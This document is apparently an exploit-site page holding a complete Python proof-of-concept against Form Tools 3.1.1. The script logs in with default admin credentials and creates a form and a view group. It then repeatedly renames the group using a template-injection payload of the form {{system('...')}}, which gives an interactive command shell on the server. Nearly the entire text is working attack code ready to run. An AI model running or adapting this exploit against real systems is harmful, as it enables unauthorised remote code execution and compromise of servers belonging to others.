4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_final.py PY
import re
import json
import argparse
from urllib.parse import urljoin, urlparse, parse_qs
import requests

# -----------------------
# Config
# -----------------------
BASE = "http://www.vulnerable-form-tools.com:80"

# Login
LOGIN_URL   = urljoin(BASE, "/index.php")
LANDING_URL = urljoin(BASE, "/")

USERNAME = "admin"
PASSWORD = "admin"

# Form creation
FORM_NAME   = "Test01"
NUM_FIELDS  = 5
ACCESS_TYPE = "admin"

# After form creation, server redirects to /admin/forms/edit/?form_id=...&message=...
VERIFY_AFTER_ADD = urljoin(BASE, "/admin/forms/edit/")

# View Group creation (AJAX)
ACTIONS_URL = urljoin(BASE, "/global/code/actions.php")

# Optional: route through Burp in a lab
USE_BURP = False
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

COMMON_HEADERS = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1",
}

# Debug toggle (set via --debug)
DEBUG = False

# --------- Hardcoded naming convention ---------
NAME_PREFIX = "{{system('"
NAME_SUFFIX = "')}}"
# -----------------------------------------------

# -----------------------
# Helpers
# -----------------------
def log(msg: str):
    print(f"[+] {msg}")

def dlog(msg: str):
    if DEBUG:
        print(f"[D] {msg}")

def show_redirects(resp: requests.Response):
    for i, r in enumerate(resp.history, 1):
        loc = r.headers.get("Location", "")
        log(f"Redirect {i}: {r.status_code} {r.request.method} -> {loc}")

def extract_hidden_inputs(html: str) -> dict:
    hidden = {}
    for m in re.finditer(r'<input[^>]+type=["\']hidden["\'][^>]*>', html, flags=re.I):
        n = re.search(r'name=["\']([^"\']+)["\']', m.group(0), flags=re.I)
        v = re.search(r'value=["\']([^"\']*)["\']', m.group(0), flags=re.I)
        if n:
            hidden[n.group(1)] = v.group(1) if v else ""
    return hidden

def parse_view_groups(html: str) -> dict:
    # Returns {group_id: group_name}
    groups = {}
    for m in re.finditer(
        r'<input[^>]*name=["\']group_name_(\d+)["\'][^>]*value=["\']([^"\']*)["\']',
        html, flags=re.I | re.S
    ):
        gid = m.group(1)
        gname = m.group(2)
        groups[gid] = gname
    return groups

def extract_sortable_fields(html: str) -> dict:
    fields = {}
    for m in re.finditer(
        r'<input[^>]*name=["\'](view_list_sortable__[^"\']+)["\'][^>]*>',
        html, flags=re.I
    ):
        name = m.group(1)
        v = re.search(r'value=["\']([^"\']*)["\']', m.group(0), flags=re.I)
        fields[name] = v.group(1) if v else ""
    return fields

def extract_group_orders(html: str) -> list[str]:
    ids = []
    for m in re.finditer(r'<input[^>]*class=["\']group_order["\'][^>]*value=["\'](\d+)["\']', html, flags=re.I):
        ids.append(m.group(1))
    return ids

def find_group_id_by_name(s: requests.Session, form_id: str, name: str) -> str:
    views_url = f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=views"
    headers_html = {**COMMON_HEADERS, "Referer": f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=main"}
    r = s.get(views_url, headers=headers_html, timeout=15)
    if r.status_code != 200:
        return ""
    groups = parse_view_groups(r.text)
    for gid, gname in groups.items():
        if gname == name:
            return gid
    return ""

# -----------------------
# Auth
# -----------------------
def do_login(s: requests.Session) -> bool:
    s.headers.update(COMMON_HEADERS)
    if USE_BURP:
        s.proxies.update(PROXIES)
        s.verify = False
        try:
            import urllib3
            urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        except Exception:
            pass

    log(f"Target: {BASE}")
    r = s.get(LANDING_URL, timeout=15)
    log(f"GET / -> {r.status_code} in {r.elapsed.total_seconds():.3f}s")

    payload = {"username": USERNAME, "password": PASSWORD}
    headers = {**COMMON_HEADERS, "Origin": BASE, "Referer": LANDING_URL}

    log(f"POST {LOGIN_URL} with username={USERNAME}")
    resp = s.post(LOGIN_URL, data=payload, headers=headers, allow_redirects=True, timeout=20)
    log(f"POST login -> {resp.status_code} in {resp.elapsed.total_seconds():.3f}s")
    if resp.history:
        show_redirects(resp)

    check = s.get(LANDING_URL, timeout=15)
    ok = (check.status_code == 200) and any(x in check.text for x in ["Logout", "Admin", "Dashboard", "Sign out"])
    log(f"Login status: {'OK' if ok else 'FAILED'}")
    if ok:
        dlog(f"Session cookies: {s.cookies.get_dict()}")
    return ok

# -----------------------
# Create Internal Form
# -----------------------
def add_internal_form(s: requests.Session, form_name: str, num_fields: int, access_type: str) -> str:
    ADD_ROOT          = urljoin(BASE, "/admin/forms/add/")
    ADD_INDEX         = urljoin(BASE, "/admin/forms/add/index.php")
    ADD_INTERNAL_GET  = urljoin(BASE, "/admin/forms/add/internal.php")
    ADD_INTERNAL_POST = urljoin(BASE, "/admin/forms/add/internal.php")

    headers = {
        **COMMON_HEADERS,
        "Origin": BASE,
        "Referer": urljoin(BASE, "/admin/forms/"),
    }
    data = {"new_form": "Add Form"}
    log(f"POST {ADD_ROOT} new_form=Add Form")
    r1 = s.post(ADD_ROOT, data=data, headers=headers, allow_redirects=True, timeout=20)
    dlog(f"-> {r1.status_code} in {r1.elapsed.total_seconds():.3f}s")
    if r1.history:
        show_redirects(r1)

    headers["Referer"] = ADD_ROOT
    data = {"internal": "SELECT"}
    log(f"POST {ADD_INDEX} internal=SELECT")
    r2 = s.post(ADD_INDEX, data=data, headers=headers, allow_redirects=True, timeout=20)
    dlog(f"-> {r2.status_code} in {r2.elapsed.total_seconds():.3f}s")
    if r2.history:
        show_redirects(r2)

    headers = {**COMMON_HEADERS, "Referer": ADD_ROOT}
    log(f"GET {ADD_INTERNAL_GET}")
    r3 = s.get(ADD_INTERNAL_GET, headers=headers, timeout=15)
    dlog(f"-> {r3.status_code} in {r3.elapsed.total_seconds():.3f}s")

    hidden = extract_hidden_inputs(r3.text)
    if hidden and DEBUG:
        dlog(f"Hidden inputs: {list(hidden.keys())}")

    headers = {
        **COMMON_HEADERS,
        "Origin": BASE,
        "Referer": ADD_INTERNAL_GET,
    }
    payload = {
        **hidden,
        "form_name": form_name,
        "num_fields": str(num_fields),
        "access_type": access_type,
        "add_form": "Add Form",
    }
    log(f"POST {ADD_INTERNAL_POST} to create form '{form_name}' with {num_fields} fields")
    r4 = s.post(ADD_INTERNAL_POST, data=payload, headers=headers, allow_redirects=True, timeout=20)
    dlog(f"-> {r4.status_code} in {r4.elapsed.total_seconds():.3f}s")
    if r4.history:
        show_redirects(r4)

    final_url = r4.url
    log(f"Final URL after creation: {final_url}")

    form_id = ""
    try:
        parsed = urlparse(final_url)
        if parsed.path.endswith("/admin/forms/edit/"):
            qs = parse_qs(parsed.query)
            form_id = (qs.get("form_id") or [""])[0]
            message = (qs.get("message") or [""])[0]
            if message:
                log(f"Server message: {message}")
    except Exception:
        pass

    if not form_id and "notify_internal_form_created" in r4.text:
        m = re.search(r'form_id=(\d+)', r4.text)
        if m:
            form_id = m.group(1)

    if form_id:
        log(f"Form created OK with form_id={form_id}")
    else:
        log("Form creation status unclear. Check response body or server messages.")
    return form_id

# -----------------------
# Add View Group on Views tab
# -----------------------
def add_view_group(s: requests.Session, form_id: str, group_name: str) -> str:
    views_main = f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=main"
    views_url  = f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=views"

    headers_html = {**COMMON_HEADERS, "Referer": views_main}
    log(f"GET {views_url} (Views tab for form_id={form_id})")
    r_get = s.get(views_url, headers=headers_html, timeout=15)
    dlog(f"-> {r_get.status_code} in {r_get.elapsed.total_seconds():.3f}s")

    headers_ajax = {
        **COMMON_HEADERS,
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "Content-Type": "application/x-www-form-urlencoded",
        "X-Requested-With": "XMLHttpRequest",
        "Origin": BASE,
        "Referer": views_url,
    }
    payload = {"group_name": group_name, "action": "create_new_view_group"}

    log(f"POST {ACTIONS_URL} action=create_new_view_group group_name='{group_name}'")
    r_post = s.post(ACTIONS_URL, data=payload, headers=headers_ajax, timeout=20, allow_redirects=True)
    dlog(f"-> {r_post.status_code} in {r_post.elapsed.total_seconds():.3f}s")

    group_id = ""
    ct = r_post.headers.get("Content-Type", "")
    if "application/json" in ct:
        try:
            j = r_post.json()
            log(f"AJAX response JSON: {j}")
            group_id = str(j.get("group_id") or j.get("new_group_id") or j.get("id") or j.get("groupId") or "")
        except json.JSONDecodeError:
            log("Warning: JSON decode failed (non-JSON or malformed response)")

    if not group_id:
        r_check = s.get(views_url, headers=headers_html, timeout=15)
        dlog(f"GET {views_url} (verify) -> {r_check.status_code}")
        if r_check.status_code == 200 and group_name in r_check.text:
            log("Group appears on Views page")
        else:
            log("Could not confirm group presence from HTML")

    if group_id:
        log(f"View group created with group_id={group_id}")
    else:
        log("View group created (likely), but no group_id found in response")
    return group_id

# -----------------------
# AJAX rename (fast path)
# -----------------------
def try_ajax_group_rename(s: requests.Session, form_id: str, group_id: str, new_name: str) -> bool:
    actions = ["rename_view_group", "update_view_group_name", "update_view_group"]
    headers_ajax = {
        **COMMON_HEADERS,
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "Content-Type": "application/x-www-form-urlencoded",
        "X-Requested-With": "XMLHttpRequest",
        "Origin": BASE,
        "Referer": f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=views",
    }
    for action in actions:
        payload = {"action": action, "group_id": str(group_id), "group_name": new_name}
        r = s.post(ACTIONS_URL, data=payload, headers=headers_ajax, timeout=15)
        if r.status_code == 200 and "application/json" in (r.headers.get("Content-Type","")):
            try:
                j = r.json()
            except json.JSONDecodeError:
                continue
            if j.get("success") is True or j.get("group_name") == new_name:
                log(f"AJAX rename via action='{action}' succeeded: {j}")
                return True
    return False

# -----------------------
# Interactive Rename of a View Group (with prefix/suffix)
# -----------------------
def rename_view_group_interactive(s: requests.Session, form_id: str, group_id: str) -> str:
    """
    Prompts 'Input: ', applies hardcoded NAME_PREFIX/NAME_SUFFIX, attempts AJAX rename,
    falls back to HTML POST with sortable rows, then prints 'Response: <saved_value>'.
    """
    views_url     = f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=views"
    edit_post_url = f"{BASE}/admin/forms/edit/index.php?form_id={form_id}"
    referer_get   = f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=main"

    # Prompt and apply naming convention
    print("Input: ", end="", flush=True)
    base_name = input().strip()
    final_name = f"{NAME_PREFIX}{base_name}{NAME_SUFFIX}"
    dlog(f"Applied name: {final_name}")

    # Try AJAX first
    if try_ajax_group_rename(s, form_id, group_id, final_name):
        headers_html = {**COMMON_HEADERS, "Referer": referer_get}
        r_verify = s.get(views_url, headers=headers_html, timeout=15)
        saved = ""
        if r_verify.status_code == 200:
            m = re.search(
                rf'<input[^>]*name=["\']group_name_{re.escape(group_id)}["\'][^>]*value=["\']([^"\']*)["\']',
                r_verify.text, flags=re.I | re.S
            )
            saved = m.group(1) if m else ""
        print(f"Response: {saved}")
        return saved

    # Fallback: GET Views to gather fields and compute sortable rows
    headers_html = {**COMMON_HEADERS, "Referer": referer_get}
    r_get = s.get(views_url, headers=headers_html, timeout=15)
    if r_get.status_code != 200:
        log(f"Views GET failed: {r_get.status_code}")
        print("Response: ")
        return ""

    groups    = parse_view_groups(r_get.text)
    hidden    = extract_hidden_inputs(r_get.text)
    orders    = extract_group_orders(r_get.text)

    # Compute rows string akin to UI behavior; ex: "23|~25|"
    if orders:
        rows = "~".join(f"{gid}|" for gid in orders)
    else:
        rows = "~".join(f"{gid}|" for gid in sorted(groups.keys(), key=int))

    # Build POST payload
    form_payload = {**hidden}
    form_payload["page"] = "views"
    form_payload["update_views"] = "Update"
    for gid, gname in groups.items():
        form_payload[f"group_name_{gid}"] = gname
    form_payload[f"group_name_{group_id}"] = final_name

    # Always include sortable fields
    form_payload["view_list_sortable__rows"] = rows
    form_payload["view_list_sortable__new_groups"] = str(len(groups))
    form_payload["view_list_sortable__deleted_rows"] = ""

    headers_post = {
        **COMMON_HEADERS,
        "Origin": BASE,
        "Referer": views_url,  # exact Views referer
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    }

    r_post = s.post(edit_post_url, data=form_payload, headers=headers_post, timeout=20, allow_redirects=True)
    dlog(f"POST rename -> {r_post.status_code} in {r_post.elapsed.total_seconds():.3f}s")

    # Verify by reloading Views
    r_verify = s.get(views_url, headers=headers_html, timeout=15)
    saved = ""
    if r_verify.status_code == 200:
        m = re.search(
            rf'<input[^>]*name=["\']group_name_{re.escape(group_id)}["\'][^>]*value=["\']([^"\']*)["\']',
            r_verify.text, flags=re.I | re.S
        )
        saved = m.group(1) if m else ""

    print(f"Response: {saved}")
    return saved

# -----------------------
# Main (continuous rename loop)
# -----------------------
def main():
    s = requests.Session()
    if not do_login(s):
        return

    # Create the internal form
    fid = add_internal_form(s, FORM_NAME, NUM_FIELDS, ACCESS_TYPE)
    if not fid:
        log("No form_id extracted; stopping.")
        return

    # Optional: verify edit page reachable
    edit_url = f"{VERIFY_AFTER_ADD}?form_id={fid}"
    r = s.get(edit_url, timeout=15)
    log(f"GET {edit_url} -> {r.status_code}")
    if r.status_code == 200:
        log("Verified edit page is reachable")

    # Create the view group on the Views tab
    seed_group_name = "TestGroup"
    gid = add_view_group(s, fid, seed_group_name)

    # If AJAX didn't return an id, locate by name
    if not gid:
        gid = find_group_id_by_name(s, fid, seed_group_name)
        if gid:
            log(f"Found group id by name: {gid}")
        else:
            log("Could not determine group_id; aborting rename loop.")
            return

    log("Rename loop started. Enter a new name each time. Press Ctrl+C to exit.")
    try:
        while True:
            rename_view_group_interactive(s, fid, gid)
    except KeyboardInterrupt:
        print()
        log("Exiting rename loop.")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Form Tools 3.1.1 exploit automation")
    parser.add_argument("--debug", action="store_true", help="Enable extra debug output")
    args = parser.parse_args()
    DEBUG = args.debug
    if DEBUG:
        dlog("Debug mode enabled")
    main()